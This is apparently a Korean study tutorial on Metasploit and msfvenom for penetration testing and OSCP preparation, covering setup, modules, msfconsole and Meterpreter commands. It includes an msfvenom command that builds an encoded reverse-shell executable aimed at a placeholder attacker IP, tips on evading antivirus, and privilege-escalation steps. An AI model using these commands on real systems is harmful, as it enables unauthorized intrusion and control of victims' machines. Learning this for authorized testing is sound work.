Metasploit, Msfvenom
Metasploit
개요
- Metasploit은 모의해킹과 침투 테스트에 사용되는 가장 강력하고 널리 사용되는 오픈소스 프레임워크
- 2003년 H.D Moore에 의해 Perl로 개발되기 시작했으며, 현재는 Ruby로 재작성되어 Rapid7에서 소유하고 관리
모듈형 침투 테스트 플랫폼으로서 다음과 같은 기능을 제공
- 취약점 발견 및 악용
- 페이로드 생성 및 전송
- Post-exploitation 기능
- 안티바이러스 우회 및 보안 제어 회피
Kali Linux 에서 Metasploit 설정
기본 설치 확인
Kali Linux에는 Metasploit Framework가 이미 설치되어 있다. 설치 상태를 확인하려면:
# Metasploit 버전 확인
msfconsole --version
# 데이터베이스 초기화 (PostgreSQL 설정)
sudo msfdb init
데이터베이스 설정
Metasploit의 모든 기능을 사용하려면 PostgreSQL 데이터베이스 설정이 필요
# 데이터베이스 시작
sudo msfdb start
# 데이터베이스 상태 확인
sudo msfdb status
# Metasploit 콘솔과 함께 데이터베이스 시작
sudo msfdb run
Metasploit 아키텍처 및 핵심 구성요소
1. 모듈 유형 (Module Types)
Exploit 모듈
- 시스템의 취약점을 악용하는 코드
- 운영체제별로 분류 (Windows, Linux, Unix, macOS)
- 약 900개 이상의 다양한 exploit 제공
Payload 모듈
- Singles: 독립적인 페이로드 (self-contained)
- Stagers: 네트워크 연결을 설정하는 작은 코드
- Stages: Stager에 의해 다운로드되는 더 큰 페이로드 (예: Meterpreter)
Auxiliary 모듈
- 스캐닝, 퍼징, 스니핑 등의 보조 기능
- 정보 수집 및 네트워크 Enumeration에 사용
Post-exploitation 모듈
- 시스템 장악 후 수행하는 활동
- 권한 상승, 정보 수집, 지속성 확보
2. Encoder 및 NOP 모듈
- Encoders: 페이로드가 목적지에 온전히 도달하도록 보장
- NOPs: 익스플로잇 시도 간 페이로드 크기 일관성 유지
MSFConsole 기본 사용법
콘솔 시작
# 기본 시작
msfconsole
# 조용한 모드 (배너 없이)
msfconsole -q
# 도움말 확인
msfconsole -h
핵심 명령어
검색 및 모듈 선택 예시
# 모듈 검색
search [키워드]
search type:exploit
search cve:2021
# 모듈 사용
use exploit/windows/smb/ms08_067_netapi
# 이전 컨텍스트로 돌아가기
back
# 모듈 정보 확인
info
옵션 설정 예시
# 옵션 확인
options
show options
# 변수 설정
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
# 페이로드 선택
set PAYLOAD windows/meterpreter/reverse_tcp
# 모듈 실행
run
exploit
세션 관리
# 활성 세션 확인
sessions
# 세션 상호작용
sessions -i 1
# 세션을 백그라운드로
background
Post-exploitation
Meterpreter 세션에서 수행할 수 있는 주요 활동:
정보 수집
# 시스템 정보
meterpreter> sysinfo
# 사용자 정보
meterpreter> getuid
# 네트워크 정보
meterpreter> ifconfig
# 프로세스 목록
meterpreter> ps
권한 상승
# getsystem 시도
meterpreter> getsystem
# UAC 우회 모듈 사용
run post/windows/escalate/bypassuac
파일 시스템 탐색
# 디렉토리 변경
meterpreter> cd C:\
# 파일 목록
meterpreter> ls
# 파일 다운로드
meterpreter> download filename.txt
msfvenom
msfvenom은 Metasploit 프레임워크의 페이로드 및 악성코드 생성 도구로, 익스플로잇 공격에 필요한 실행 파일, 스크립트, 셸코드 등을 다양한 플랫폼과 포맷으로 만들 수 있다.
msfvenom 주요 기능과 옵션
- 페이로드 생성: shell, meterpreter, reverse/bind tcp 등 수백 가지 페이로드를 생성 가능
- 다양한 포맷 지원: exe, elf, python, c, bash, ruby 등으로 출력 가능
- 인코딩 및 크기 제한: 안티바이러스 우회, 분석방해 목적의 인코더/노프슬레드 적용
- 파일 주입/템플릿 활용: 기존 실행파일에 악성코드 주입 가능
주요 옵션
| 옵션 | 설명 |
|---|---|
| -p | 페이로드 지정 |
| -f | 출력 포맷 지정 |
| -o | 저장 파일명 지정 |
| -e | 인코더 지정 |
| -i | 인코딩 횟수 |
| -a | 아키텍처 |
| –platform | 운영체제 |
| -b | 제외할 바이트 |
| -l | 페이로드, 인코더 등 목록 |
| –help-formats | 지원 포맷 목록 |
| -h | 도움말 |
사용 예시
# 윈도우 reverse_tcp 페이로드와 인코더 적용, exe 파일로 생성
msfvenom -p windows/meterpreter/reverse_tcp LHOST=공격자IP LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o payload.exe
- -p : 페이로드 종류 지정
- -e : 인코딩 방식(예시: x86/shikata_ga_nai)
- -i : 인코딩 횟수(숫자만큼 반복 인코딩)
- -f : 출력 포맷 지정(exe, python 등)
- -o : 결과파일 저장명
사용 순서
- Kali에서 msfvenom 명령으로 페이로드 실행파일 제작
- msfconsole에서
exploit/multi/handler로 리스너 설정(LHOST/LPORT 동일하게) - 피해자 PC에서 생성된 파일(payload.exe 등) 실행 → 공격자 PC에 reverse 연결로 Meterpreter 세션 획득
실전 활용 팁
- -l all 옵션으로 모든 페이로드/인코더/노프 종류 확인.
- 지원되는 파일 포맷은 –help-formats로 확인 가능.
- 인코딩 횟수(-i)를 높이면 AV 우회성 증가. 단, 크기가 커질 수 있음.
- 취약점 증명용 shellcode, 익스플로잇 코드에 내장 등 실무 활용이 매우 다양함.
참고: OSCP 시험에서의 Metasploit 제한사항
OSCP 시험에서는 Metasploit 사용에 엄격한 제한이 있다.
허용되는 사용
- 하나의 타겟 머신에 대해서만 Metasploit 모듈 (Auxiliary, Exploit, Post) 및 Meterpreter 사용 가능
- 선택한 타겟에서는 무제한 사용 가능
- msfvenom은 모든 머신에 대해 사용 가능
- multi/handler는 모든 머신에 대해 사용 가능
금지사항
- 여러 머신에 대한 Metasploit 사용
- 한 머신에서 실패 시 다른 머신에 사용 불가
- Pivoting 목적의 Metasploit 사용 금지
- 취약점 테스트를 위한 check 기능 사용 금지
학습 리소스
- Metasploit Unleashed: Offensive Security에서 제공하는 무료 온라인 강의
- 공식 문서: Rapid7의 Metasploit 문서
- 실습 환경: Proving Grounds Practice, HackTheBox, VulnHub
댓글 남기기